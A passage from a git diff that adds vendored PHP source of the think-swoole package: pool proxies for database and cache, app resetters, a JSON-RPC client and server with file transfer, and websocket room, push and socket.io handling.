+ } + + /** + * 删除记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return int + */ + public function delete(BaseQuery $query): int + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 得到某个字段的值 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $field 字段名 + * @param mixed $default 默认值 + * @return mixed + */ + public function value(BaseQuery $query, string $field, $default = null) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 得到某个列的数组 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $column 字段名 多个字段用逗号分隔 + * @param string $key 索引 + * @return array + */ + public function column(BaseQuery $query, string $column, string $key = ''): array + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 执行数据库事务 + * @access public + * @param callable $callback 数据操作方法回调 + * @return mixed + * @throws \Throwable + */ + public function transaction(callable $callback) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 启动事务 + * @access public + * @return void + * @throws \Exception + */ + public function startTrans() + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 用于非自动提交状态下面的查询提交 + * @access public + * @return void + */ + public function commit() + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 事务回滚 + * @access public + * @return void + */ + public function rollback() + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 获取最近一次查询的sql语句 + * @access public + * @return string + */ + public function getLastSql(): string + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + public function table($table) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + public function name($name) + { + return $this->__call(__FUNCTION__, func_get_args()); + } +} diff --git a/vendor/topthink/think-swoole/src/pool/proxy/Store.php b/vendor/topthink/think-swoole/src/pool/proxy/Store.php new file mode 100644 index 0000000..48c74cb --- /dev/null +++ b/vendor/topthink/think-swoole/src/pool/proxy/Store.php @@ -0,0 +1,98 @@ +__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function get($name, $default = null) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function set($name, $value, $expire = null) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function inc(string $name, int $step = 1) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function dec(string $name, int $step = 1) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function delete($name) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function clear() + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function clearTag(array $keys) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function getMultiple($keys, $default = null) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function setMultiple($values, $ttl = null) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * @inheritDoc + */ + public function deleteMultiple($keys) + { + return $this->__call(__FUNCTION__, func_get_args()); + } +} diff --git a/vendor/topthink/think-swoole/src/resetters/ClearInstances.php b/vendor/topthink/think-swoole/src/resetters/ClearInstances.php new file mode 100644 index 0000000..bca390a --- /dev/null +++ b/vendor/topthink/think-swoole/src/resetters/ClearInstances.php @@ -0,0 +1,23 @@ +getConfig()->get('swoole.instances', [])); + + foreach ($instances as $instance) { + $app->delete($instance); + } + + return $app; + } +} diff --git a/vendor/topthink/think-swoole/src/resetters/ResetConfig.php b/vendor/topthink/think-swoole/src/resetters/ResetConfig.php new file mode 100644 index 0000000..6dec744 --- /dev/null +++ b/vendor/topthink/think-swoole/src/resetters/ResetConfig.php @@ -0,0 +1,18 @@ +instance('config', clone $sandbox->getConfig()); + + return $app; + } +} diff --git a/vendor/topthink/think-swoole/src/resetters/ResetEvent.php b/vendor/topthink/think-swoole/src/resetters/ResetEvent.php new file mode 100644 index 0000000..6ebce4a --- /dev/null +++ b/vendor/topthink/think-swoole/src/resetters/ResetEvent.php @@ -0,0 +1,27 @@ +getEvent(); + $this->modifyProperty($event, $app); + $app->instance('event', $event); + + return $app; + } +} diff --git a/vendor/topthink/think-swoole/src/resetters/ResetService.php b/vendor/topthink/think-swoole/src/resetters/ResetService.php new file mode 100644 index 0000000..f0bc3bd --- /dev/null +++ b/vendor/topthink/think-swoole/src/resetters/ResetService.php @@ -0,0 +1,38 @@ +getServices() as $service) { + $this->modifyProperty($service, $app); + if (method_exists($service, 'register')) { + $service->register(); + } + if (method_exists($service, 'boot')) { + $app->invoke([$service, 'boot']); + } + } + } + +} diff --git a/vendor/topthink/think-swoole/src/rpc/Error.php b/vendor/topthink/think-swoole/src/rpc/Error.php new file mode 100644 index 0000000..73d57fe --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/Error.php @@ -0,0 +1,72 @@ +code = $code; + $instance->message = $message; + $instance->data = $data; + + return $instance; + } + + /** + * @return int + */ + public function getCode(): int + { + return $this->code; + } + + /** + * @return string + */ + public function getMessage(): string + { + return $this->message; + } + + /** + * @return mixed + */ + public function getData() + { + return $this->data; + } + + public function jsonSerialize() + { + return [ + 'code' => $this->code, + 'message' => $this->message, + 'data' => $this->data, + ]; + } +} diff --git a/vendor/topthink/think-swoole/src/rpc/File.php b/vendor/topthink/think-swoole/src/rpc/File.php new file mode 100644 index 0000000..a4d779b --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/File.php @@ -0,0 +1,20 @@ +getPathname())) { + unlink($this->getPathname()); + } + } catch (Throwable $e) { + + } + } +} diff --git a/vendor/topthink/think-swoole/src/rpc/JsonParser.php b/vendor/topthink/think-swoole/src/rpc/JsonParser.php new file mode 100644 index 0000000..f8c16c0 --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/JsonParser.php @@ -0,0 +1,124 @@ +getInterface(); + $methodName = $protocol->getMethod(); + + $method = $interface . self::DELIMITER . $methodName; + $data = [ + 'jsonrpc' => self::VERSION, + 'method' => $method, + 'params' => $protocol->getParams(), + 'id' => '', + ]; + + $string = json_encode($data, JSON_UNESCAPED_UNICODE); + + return $string; + } + + /** + * @param string $string + * + * @return Protocol + */ + public function decode(string $string): Protocol + { + $data = json_decode($string, true); + + $error = json_last_error(); + if ($error != JSON_ERROR_NONE) { + throw new Exception( + sprintf('Data(%s) is not json format!', $string) + ); + } + + $method = $data['method'] ?? ''; + $params = $data['params'] ?? []; + + if (empty($method)) { + throw new Exception( + sprintf('Method(%s) cant not be empty!', $string) + ); + } + + $methodAry = explode(self::DELIMITER, $method); + if (count($methodAry) < 2) { + throw new Exception( + sprintf('Method(%s) is bad format!', $method) + ); + } + + [$interfaceClass, $methodName] = $methodAry; + + if (empty($interfaceClass) || empty($methodName)) { + throw new Exception( + sprintf('Interface(%s) or Method(%s) can not be empty!', $interfaceClass, $method) + ); + } + + return Protocol::make($interfaceClass, $methodName, $params); + } + + /** + * @param string $string + * + * @return mixed + */ + public function decodeResponse(string $string) + { + $data = json_decode($string, true); + + if (array_key_exists('result', $data)) { + return $data['result']; + } + + $code = $data['error']['code'] ?? 0; + $message = $data['error']['message'] ?? ''; + $data = $data['error']['data'] ?? null; + + return Error::make($code, $message, $data); + } + + /** + * @param mixed $result + * + * @return string + */ + public function encodeResponse($result): string + { + $data = [ + 'jsonrpc' => self::VERSION, + ]; + + if ($result instanceof Error) { + $data['error'] = $result; + } else { + $data['result'] = $result; + } + + $string = json_encode($data); + + return $string; + } +} diff --git a/vendor/topthink/think-swoole/src/rpc/Packer.php b/vendor/topthink/think-swoole/src/rpc/Packer.php new file mode 100644 index 0000000..a276b8c --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/Packer.php @@ -0,0 +1,26 @@ +interface = $interface; + $instance->method = $method; + $instance->params = $params; + + return $instance; + } + + /** + * @return string + */ + public function getInterface(): string + { + return $this->interface; + } + + /** + * @return string + */ + public function getMethod(): string + { + return $this->method; + } + + /** + * @return array + */ + public function getParams(): array + { + return $this->params; + } + +} diff --git a/vendor/topthink/think-swoole/src/rpc/client/Connector.php b/vendor/topthink/think-swoole/src/rpc/client/Connector.php new file mode 100644 index 0000000..d0ed2dd --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/client/Connector.php @@ -0,0 +1,14 @@ +createDefaultConnector($connector); + } + $this->connector = $connector; + $this->parser = $parser; + } + + protected function encodeData(Protocol $protocol) + { + $params = $protocol->getParams(); + + //有文件,先传输 + foreach ($params as $index => $param) { + if ($param instanceof File) { + $handle = fopen($param->getPathname(), "rb"); + yield pack(Packer::HEADER_PACK, $param->getSize(), Packer::TYPE_FILE); + while (!feof($handle)) { + yield fread($handle, 8192); + } + fclose($handle); + $params[$index] = Protocol::FILE; + } + } + + $protocol = Protocol::make($protocol->getInterface(), $protocol->getMethod(), $params); + + $data = $this->parser->encode($protocol); + + yield Packer::pack($data); + } + + protected function decodeResponse($response) + { + [, $response] = Packer::unpack($response); + $result = $this->parser->decodeResponse($response); + + if ($result instanceof Error) { + throw new RpcResponseException($result); + } + + return $result; + } + + public function sendAndRecv(Protocol $protocol) + { + $response = $this->connector->sendAndRecv($this->encodeData($protocol)); + + return $this->decodeResponse($response); + } + + public function getServices() + { + $response = $this->connector->sendAndRecv(Packer::pack(Protocol::ACTION_INTERFACE)); + + return $this->decodeResponse($response); + } + + protected function createDefaultConnector($config) + { + $class = Coroutine::getCid() > -1 ? Coroutine\Client::class : Client::class; + + /** @var Client|Coroutine\Client $client */ + $client = new $class(SWOOLE_SOCK_TCP); + + $host = Arr::pull($config, 'host'); + $port = Arr::pull($config, 'port'); + $timeout = Arr::pull($config, 'timeout'); + + $client->set(array_merge($config, [ + 'open_length_check' => true, + 'package_length_type' => Packer::HEADER_PACK, + 'package_length_offset' => 0, + 'package_body_offset' => 8, + ])); + + if (!$client->connect($host, $port, $timeout)) { + throw new RuntimeException( + sprintf('Connect failed host=%s port=%d', $host, $port) + ); + } + + return new class($client) implements Connector { + protected $client; + + /** + * constructor. + * @param Client|Coroutine\Client $client + */ + public function __construct($client) + { + $this->client = $client; + } + + public function sendAndRecv($data) + { + if (!$data instanceof \Generator) { + $data = [$data]; + } + + foreach ($data as $string) { + if (!$this->client->send($string)) { + throw new RpcClientException(swoole_strerror($this->client->errCode), $this->client->errCode); + } + } + + $response = $this->client->recv(); + + if ($response === false || empty($response)) { + throw new RpcClientException(swoole_strerror($this->client->errCode), $this->client->errCode); + } + + return $response; + } + }; + } + +} diff --git a/vendor/topthink/think-swoole/src/rpc/client/Proxy.php b/vendor/topthink/think-swoole/src/rpc/client/Proxy.php new file mode 100644 index 0000000..66d2a1b --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/client/Proxy.php @@ -0,0 +1,69 @@ +gateway = $gateway; + } + + final protected function proxyCall($method, $params) + { + $protocol = Protocol::make($this->interface, $method, $params); + + return $this->gateway->sendAndRecv($protocol); + } + + final public static function getClassName($client, $interface) + { + if (!interface_exists($interface)) { + throw new InvalidArgumentException( + sprintf('%s must be exist interface!', $interface) + ); + } + + $proxyName = class_basename($interface) . "Service"; + $className = "rpc\\service\\{$client}\\{$proxyName}"; + + if (!class_exists($className, false)) { + + $namespace = new PhpNamespace("rpc\\service\\{$client}"); + $namespace->addUse(Proxy::class); + $namespace->addUse($interface); + + $class = $namespace->addClass($proxyName); + + $class->setExtends(Proxy::class); + $class->addImplement($interface); + $class->addProperty('interface', class_basename($interface)); + + $reflection = new ReflectionClass($interface); + + foreach ($reflection->getMethods() as $methodRef) { + $method = (new Factory)->fromMethodReflection($methodRef); + $body = "\$this->proxyCall('{$methodRef->getName()}', func_get_args());"; + if ($method->getReturnType() != 'void') { + $body = "return {$body}"; + } + $method->setBody($body); + $class->addMember($method); + } + + eval($namespace); + } + return $className; + } +} diff --git a/vendor/topthink/think-swoole/src/rpc/server/Channel.php b/vendor/topthink/think-swoole/src/rpc/server/Channel.php new file mode 100644 index 0000000..9166dd5 --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/server/Channel.php @@ -0,0 +1,56 @@ +header = $header; + $this->queue = new Coroutine\Channel(1); + + Coroutine::create(function () use ($header) { + switch ($header['type']) { + case Packer::TYPE_BUFFER: + $type = Buffer::class; + break; + case Packer::TYPE_FILE: + $type = File::class; + break; + default: + throw new \RuntimeException('not support data type'); + } + + $handle = new $type($header['length']); + $this->queue->push($handle); + }); + } + + /** + * @return File|Buffer + */ + public function pop() + { + return $this->queue->pop(); + } + + public function push($handle) + { + return $this->queue->push($handle); + } + + public function close() + { + return $this->queue->close(); + } + +} diff --git a/vendor/topthink/think-swoole/src/rpc/server/Dispatcher.php b/vendor/topthink/think-swoole/src/rpc/server/Dispatcher.php new file mode 100644 index 0000000..bf2607d --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/server/Dispatcher.php @@ -0,0 +1,186 @@ +app = $app; + $this->parser = $parser; + $this->server = $server; + $this->prepareServices($services); + } + + /** + * 获取服务接口 + * @param $services + * @throws \ReflectionException + */ + protected function prepareServices($services) + { + foreach ($services as $className) { + $reflectionClass = new ReflectionClass($className); + $interfaces = $reflectionClass->getInterfaceNames(); + + foreach ($interfaces as $interface) { + $this->services[class_basename($interface)] = [ + 'interface' => $interface, + 'class' => $className, + ]; + } + } + } + + /** + * 获取接口信息 + * @return array + */ + protected function getInterfaces() + { + $interfaces = []; + foreach ($this->services as $key => ['interface' => $interface]) { + $interfaces[$key] = $this->getMethods($interface); + } + return $interfaces; + } + + protected function getMethods($interface) + { + $methods = []; + + $reflection = new ReflectionClass($interface); + foreach ($reflection->getMethods(ReflectionMethod::IS_PUBLIC) as $method) { + $returnType = $method->getReturnType(); + if ($returnType instanceof ReflectionNamedType) { + $returnType = $returnType->getName(); + } + $methods[$method->getName()] = [ + 'parameters' => $this->getParameters($method), + 'returnType' => $returnType, + 'comment' => $method->getDocComment(), + ]; + } + return $methods; + } + + protected function getParameters(ReflectionMethod $method) + { + $parameters = []; + foreach ($method->getParameters() as $parameter) { + $type = $parameter->getType(); + if ($type instanceof ReflectionNamedType) { + $type = $type->getName(); + } + $param = [ + 'name' => $parameter->getName(), + 'type' => $type, + ]; + + if ($parameter->isOptional()) { + $param['default'] = $parameter->getDefaultValue(); + } + + $parameters[] = $param; + } + return $parameters; + } + + /** + * 调度 + * @param int $fd + * @param string|File $data + */ + public function dispatch(int $fd, $data) + { + if ($data instanceof File) { + $this->files[$fd][] = $data; + } else { + try { + if ($data === Protocol::ACTION_INTERFACE) { + $result = $this->getInterfaces(); + } else { + $protocol = $this->parser->decode($data); + + $interface = $protocol->getInterface(); + $method = $protocol->getMethod(); + $params = $protocol->getParams(); + + //文件参数 + foreach ($params as $index => $param) { + if ($param === Protocol::FILE) { + $params[$index] = array_shift($this->files[$fd]); + } + } + + $service = $this->services[$interface] ?? null; + if (empty($service)) { + throw new Exception( + sprintf('Service %s is not founded!', $interface), + self::INVALID_REQUEST + ); + } + + $result = $this->app->invoke([$this->app->make($service['class']), $method], $params); + } + } catch (Throwable | Exception $e) { + $result = Error::make($e->getCode(), $e->getMessage()); + } + + $data = $this->parser->encodeResponse($result); + + $this->server->send($fd, Packer::pack($data)); + //清空文件缓存 + unset($this->files[$fd]); + } + } + +} diff --git a/vendor/topthink/think-swoole/src/rpc/server/channel/Buffer.php b/vendor/topthink/think-swoole/src/rpc/server/channel/Buffer.php new file mode 100644 index 0000000..39f9e7d --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/server/channel/Buffer.php @@ -0,0 +1,30 @@ +length = $length; + } + + public function write(&$data) + { + $size = strlen($this->data); + $string = substr($data, 0, $this->length - $size); + + $this->data .= $string; + + if (strlen($data) >= $this->length - $size) { + $data = substr($data, $this->length - $size); + + return $this->data; + } else { + $data = ''; + } + } +} diff --git a/vendor/topthink/think-swoole/src/rpc/server/channel/File.php b/vendor/topthink/think-swoole/src/rpc/server/channel/File.php new file mode 100644 index 0000000..5b87f43 --- /dev/null +++ b/vendor/topthink/think-swoole/src/rpc/server/channel/File.php @@ -0,0 +1,34 @@ +name = tempnam(sys_get_temp_dir(), "swoole_rpc_"); + $this->handle = fopen($this->name, 'ab'); + $this->length = $length; + } + + public function write(&$data) + { + $size = fstat($this->handle)['size']; + $string = substr($data, 0, $this->length - $size); + + fwrite($this->handle, $string); + + if (strlen($data) >= $this->length - $size) { + fclose($this->handle); + $data = substr($data, $this->length - $size); + + return new \think\swoole\rpc\File($this->name); + } else { + $data = ''; + } + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/Pusher.php b/vendor/topthink/think-swoole/src/websocket/Pusher.php new file mode 100644 index 0000000..d16c972 --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/Pusher.php @@ -0,0 +1,202 @@ +sender = $sender; + $this->descriptors = $descriptors; + $this->broadcast = $broadcast; + $this->assigned = $assigned; + $this->payload = $payload; + $this->server = $server; + } + + /** + * @return int + */ + public function getSender(): int + { + return $this->sender; + } + + /** + * @return array + */ + public function getDescriptors(): array + { + return $this->descriptors; + } + + /** + * @param int $descriptor + * + * @return self + */ + public function addDescriptor($descriptor): self + { + return $this->addDescriptors([$descriptor]); + } + + /** + * @param array $descriptors + * + * @return self + */ + public function addDescriptors(array $descriptors): self + { + $this->descriptors = array_values( + array_unique( + array_merge($this->descriptors, $descriptors) + ) + ); + + return $this; + } + + /** + * @param int $descriptor + * + * @return bool + */ + public function hasDescriptor(int $descriptor): bool + { + return in_array($descriptor, $this->descriptors); + } + + /** + * @return bool + */ + public function isBroadcast(): bool + { + return $this->broadcast; + } + + /** + * @return bool + */ + public function isAssigned(): bool + { + return $this->assigned; + } + + /** + * @return string + */ + public function getPayload(): string + { + return $this->payload; + } + + /** + * @return bool + */ + public function shouldBroadcast(): bool + { + return $this->broadcast && empty($this->descriptors) && !$this->assigned; + } + + /** + * Returns all descriptors that are websocket + * + * @return array + */ + protected function getWebsocketConnections(): array + { + return array_filter(iterator_to_array($this->server->connections), function ($fd) { + return (bool) $this->server->getClientInfo($fd)['websocket_status'] ?? false; + }); + } + + /** + * @param int $fd + * + * @return bool + */ + protected function shouldPushToDescriptor(int $fd): bool + { + if (!$this->server->exist($fd)) { + return false; + } + + return $this->broadcast ? $this->sender !== (int) $fd : true; + } + + /** + * Push message to related descriptors + * @return void + */ + public function push(): void + { + // attach sender if not broadcast + if (!$this->broadcast && $this->sender && !$this->hasDescriptor($this->sender)) { + $this->addDescriptor($this->sender); + } + + // check if to broadcast to other clients + if ($this->shouldBroadcast()) { + $this->addDescriptors($this->getWebsocketConnections()); + } + + // push message to designated fds + foreach ($this->descriptors as $descriptor) { + if ($this->shouldPushToDescriptor($descriptor)) { + $this->server->push($descriptor, $this->payload); + } + } + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/Room.php b/vendor/topthink/think-swoole/src/websocket/Room.php new file mode 100644 index 0000000..ce005ac --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/Room.php @@ -0,0 +1,30 @@ +app->config->get("swoole.websocket.room.{$name}", []); + } + + /** + * 默认驱动 + * @return string|null + */ + public function getDefaultDriver() + { + return $this->app->config->get('swoole.websocket.room.type', 'table'); + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/SimpleParser.php b/vendor/topthink/think-swoole/src/websocket/SimpleParser.php new file mode 100644 index 0000000..2d219b5 --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/SimpleParser.php @@ -0,0 +1,46 @@ + $event, + 'data' => $data, + ] + ); + } + + /** + * Input message on websocket connected. + * Define and return event name and payload data here. + * + * @param Frame $frame + * + * @return array + */ + public function decode($frame) + { + $data = json_decode($frame->data, true); + + return [ + 'event' => $data['event'] ?? null, + 'data' => $data['data'] ?? null, + ]; + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/middleware/SessionInit.php b/vendor/topthink/think-swoole/src/websocket/middleware/SessionInit.php new file mode 100644 index 0000000..b57597d --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/middleware/SessionInit.php @@ -0,0 +1,54 @@ +app = $app; + $this->session = $session; + } + + /** + * Session初始化 + * @access public + * @param Request $request + * @param Closure $next + * @return Response + */ + public function handle($request, Closure $next) + { + // Session初始化 + $varSessionId = $this->app->config->get('session.var_session_id'); + $cookieName = $this->session->getName(); + + if ($varSessionId && $request->request($varSessionId)) { + $sessionId = $request->request($varSessionId); + } else { + $sessionId = $request->cookie($cookieName); + } + + if ($sessionId) { + $this->session->setId($sessionId); + } + + $this->session->init(); + + $request->withSession($this->session); + + return $next($request); + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/room/Redis.php b/vendor/topthink/think-swoole/src/websocket/room/Redis.php new file mode 100644 index 0000000..13998ae --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/room/Redis.php @@ -0,0 +1,250 @@ +manager = $manager; + $this->config = $config; + + if ($prefix = Arr::get($this->config, 'prefix')) { + $this->prefix = $prefix; + } + } + + /** + * @return RoomInterface + */ + public function prepare(): RoomInterface + { + $this->initData(); + $this->prepareRedis(); + return $this; + } + + protected function prepareRedis() + { + $this->manager->onEvent('workerStart', function () { + $config = $this->config; + $this->pool = new ConnectionPool( + Pool::pullPoolConfig($config), + new PhpRedisConnector(), + $config + ); + $this->manager->getPools()->add("websocket.room", $this->pool); + }); + } + + protected function initData() + { + $connector = new PhpRedisConnector(); + + $connection = $connector->connect($this->config); + + if (count($keys = $connection->keys("{$this->prefix}*"))) { + $connection->del($keys); + } + + $connector->disconnect($connection); + } + + /** + * Add multiple socket fds to a room. + * + * @param int fd + * @param array|string rooms + */ + public function add(int $fd, $rooms) + { + $rooms = is_array($rooms) ? $rooms : [$rooms]; + + $this->addValue($fd, $rooms, RoomInterface::DESCRIPTORS_KEY); + + foreach ($rooms as $room) { + $this->addValue($room, [$fd], RoomInterface::ROOMS_KEY); + } + } + + /** + * Delete multiple socket fds from a room. + * + * @param int fd + * @param array|string rooms + */ + public function delete(int $fd, $rooms) + { + $rooms = is_array($rooms) ? $rooms : [$rooms]; + $rooms = count($rooms) ? $rooms : $this->getRooms($fd); + + $this->removeValue($fd, $rooms, RoomInterface::DESCRIPTORS_KEY); + + foreach ($rooms as $room) { + $this->removeValue($room, [$fd], RoomInterface::ROOMS_KEY); + } + } + + protected function runWithRedis(\Closure $callable) + { + $redis = $this->pool->borrow(); + try { + return $callable($redis); + } finally { + $this->pool->return($redis); + } + } + + /** + * Add value to redis. + * + * @param $key + * @param array $values + * @param string $table + * + * @return $this + */ + protected function addValue($key, array $values, string $table) + { + $this->checkTable($table); + $redisKey = $this->getKey($key, $table); + + $this->runWithRedis(function (PHPRedis $redis) use ($redisKey, $values) { + $pipe = $redis->multi(PHPRedis::PIPELINE); + + foreach ($values as $value) { + $pipe->sadd($redisKey, $value); + } + + $pipe->exec(); + }); + + return $this; + } + + /** + * Remove value from reddis. + * + * @param $key + * @param array $values + * @param string $table + * + * @return $this + */ + protected function removeValue($key, array $values, string $table) + { + $this->checkTable($table); + $redisKey = $this->getKey($key, $table); + + $this->runWithRedis(function (PHPRedis $redis) use ($redisKey, $values) { + $pipe = $redis->multi(PHPRedis::PIPELINE); + foreach ($values as $value) { + $pipe->srem($redisKey, $value); + } + $pipe->exec(); + }); + + return $this; + } + + /** + * Get all sockets by a room key. + * + * @param string room + * + * @return array + */ + public function getClients(string $room) + { + return $this->getValue($room, RoomInterface::ROOMS_KEY) ?? []; + } + + /** + * Get all rooms by a fd. + * + * @param int fd + * + * @return array + */ + public function getRooms(int $fd) + { + return $this->getValue($fd, RoomInterface::DESCRIPTORS_KEY) ?? []; + } + + /** + * Check table for rooms and descriptors. + * + * @param string $table + */ + protected function checkTable(string $table) + { + if (!in_array($table, [RoomInterface::ROOMS_KEY, RoomInterface::DESCRIPTORS_KEY])) { + throw new InvalidArgumentException("Invalid table name: `{$table}`."); + } + } + + /** + * Get value. + * + * @param string $key + * @param string $table + * + * @return array + */ + protected function getValue(string $key, string $table) + { + $this->checkTable($table); + + return $this->runWithRedis(function (PHPRedis $redis) use ($table, $key) { + return $redis->smembers($this->getKey($key, $table)); + }); + } + + /** + * Get key. + * + * @param string $key + * @param string $table + * + * @return string + */ + protected function getKey(string $key, string $table) + { + return "{$this->prefix}{$table}:{$key}"; + } + +} diff --git a/vendor/topthink/think-swoole/src/websocket/room/Table.php b/vendor/topthink/think-swoole/src/websocket/room/Table.php new file mode 100644 index 0000000..3294cca --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/room/Table.php @@ -0,0 +1,220 @@ + 4096, + 'room_size' => 2048, + 'client_rows' => 8192, + 'client_size' => 2048, + ]; + + /** + * @var SwooleTable + */ + protected $rooms; + + /** + * @var SwooleTable + */ + protected $fds; + + /** + * TableRoom constructor. + * + * @param array $config + */ + public function __construct(array $config) + { + $this->config = array_merge($this->config, $config); + } + + /** + * Do some init stuffs before workers started. + * + * @return RoomInterface + */ + public function prepare(): RoomInterface + { + $this->initRoomsTable(); + $this->initFdsTable(); + + return $this; + } + + /** + * Add multiple socket fds to a room. + * + * @param int fd + * @param array|string rooms + */ + public function add(int $fd, $roomNames) + { + $rooms = $this->getRooms($fd); + $roomNames = is_array($roomNames) ? $roomNames : [$roomNames]; + + foreach ($roomNames as $room) { + $fds = $this->getClients($room); + + if (in_array($fd, $fds)) { + continue; + } + + $fds[] = $fd; + $rooms[] = $room; + + $this->setClients($room, $fds); + } + + $this->setRooms($fd, $rooms); + } + + /** + * Delete multiple socket fds from a room. + * + * @param int fd + * @param array|string rooms + */ + public function delete(int $fd, $roomNames = []) + { + $allRooms = $this->getRooms($fd); + $roomNames = is_array($roomNames) ? $roomNames : [$roomNames]; + $rooms = count($roomNames) ? $roomNames : $allRooms; + + $removeRooms = []; + foreach ($rooms as $room) { + $fds = $this->getClients($room); + + if (!in_array($fd, $fds)) { + continue; + } + + $this->setClients($room, array_values(array_diff($fds, [$fd]))); + $removeRooms[] = $room; + } + + $this->setRooms($fd, collect($allRooms)->diff($removeRooms)->values()->toArray()); + } + + /** + * Get all sockets by a room key. + * + * @param string room + * + * @return array + */ + public function getClients(string $room) + { + return $this->getValue($room, RoomInterface::ROOMS_KEY) ?? []; + } + + /** + * Get all rooms by a fd. + * + * @param int fd + * + * @return array + */ + public function getRooms(int $fd) + { + return $this->getValue($fd, RoomInterface::DESCRIPTORS_KEY) ?? []; + } + + /** + * @param string $room + * @param array $fds + * + * @return $this + */ + protected function setClients(string $room, array $fds) + { + return $this->setValue($room, $fds, RoomInterface::ROOMS_KEY); + } + + /** + * @param int $fd + * @param array $rooms + * + * @return $this + */ + protected function setRooms(int $fd, array $rooms) + { + return $this->setValue($fd, $rooms, RoomInterface::DESCRIPTORS_KEY); + } + + /** + * Init rooms table + */ + protected function initRoomsTable(): void + { + $this->rooms = new SwooleTable($this->config['room_rows']); + $this->rooms->column('value', SwooleTable::TYPE_STRING, $this->config['room_size']); + $this->rooms->create(); + } + + /** + * Init descriptors table + */ + protected function initFdsTable() + { + $this->fds = new SwooleTable($this->config['client_rows']); + $this->fds->column('value', SwooleTable::TYPE_STRING, $this->config['client_size']); + $this->fds->create(); + } + + /** + * Set value to table + * + * @param $key + * @param array $value + * @param string $table + * + * @return $this + */ + public function setValue($key, array $value, string $table) + { + $this->checkTable($table); + + $this->$table->set($key, ['value' => json_encode($value)]); + + return $this; + } + + /** + * Get value from table + * + * @param string $key + * @param string $table + * + * @return array|mixed + */ + public function getValue(string $key, string $table) + { + $this->checkTable($table); + + $value = $this->$table->get($key); + + return $value ? json_decode($value['value'], true) : []; + } + + /** + * Check table for exists + * + * @param string $table + */ + protected function checkTable(string $table) + { + if (!property_exists($this, $table) || !$this->$table instanceof SwooleTable) { + throw new InvalidArgumentException("Invalid table name: `{$table}`."); + } + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Controller.php b/vendor/topthink/think-swoole/src/websocket/socketio/Controller.php new file mode 100644 index 0000000..f244cc2 --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/socketio/Controller.php @@ -0,0 +1,54 @@ +param('transport'), $this->transports)) { + return json( + [ + 'code' => 0, + 'message' => 'Transport unknown', + ], + 400 + ); + } + + if ($request->has('sid')) { + $response = response('1:6'); + } else { + $sid = base64_encode(uniqid()); + $payload = json_encode( + [ + 'sid' => $sid, + 'upgrades' => ['websocket'], + 'pingInterval' => $config->get('swoole.websocket.ping_interval'), + 'pingTimeout' => $config->get('swoole.websocket.ping_timeout'), + ] + ); + $cookie->set('io', $sid); + $response = response('97:0' . $payload . '2:40'); + } + + return $response->contentType('text/plain'); + } + + public function reject(Request $request) + { + return json( + [ + 'code' => 3, + 'message' => 'Bad request', + ], + 400 + ); + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Handler.php b/vendor/topthink/think-swoole/src/websocket/socketio/Handler.php new file mode 100644 index 0000000..546366b --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/socketio/Handler.php @@ -0,0 +1,98 @@ +server = $server; + $this->config = $config; + } + + /** + * "onOpen" listener. + * + * @param int $fd + * @param Request $request + */ + public function onOpen($fd, Request $request) + { + if (!$request->param('sid')) { + $payload = json_encode( + [ + 'sid' => base64_encode(uniqid()), + 'upgrades' => [], + 'pingInterval' => $this->config->get('swoole.websocket.ping_interval'), + 'pingTimeout' => $this->config->get('swoole.websocket.ping_timeout'), + ] + ); + $initPayload = Packet::OPEN . $payload; + $connectPayload = Packet::MESSAGE . Packet::CONNECT; + + $this->server->push($fd, $initPayload); + $this->server->push($fd, $connectPayload); + } + } + + /** + * "onMessage" listener. + * only triggered when event handler not found + * + * @param Frame $frame + * @return bool + */ + public function onMessage(Frame $frame) + { + $packet = $frame->data; + if (Packet::getPayload($packet)) { + return false; + } + + 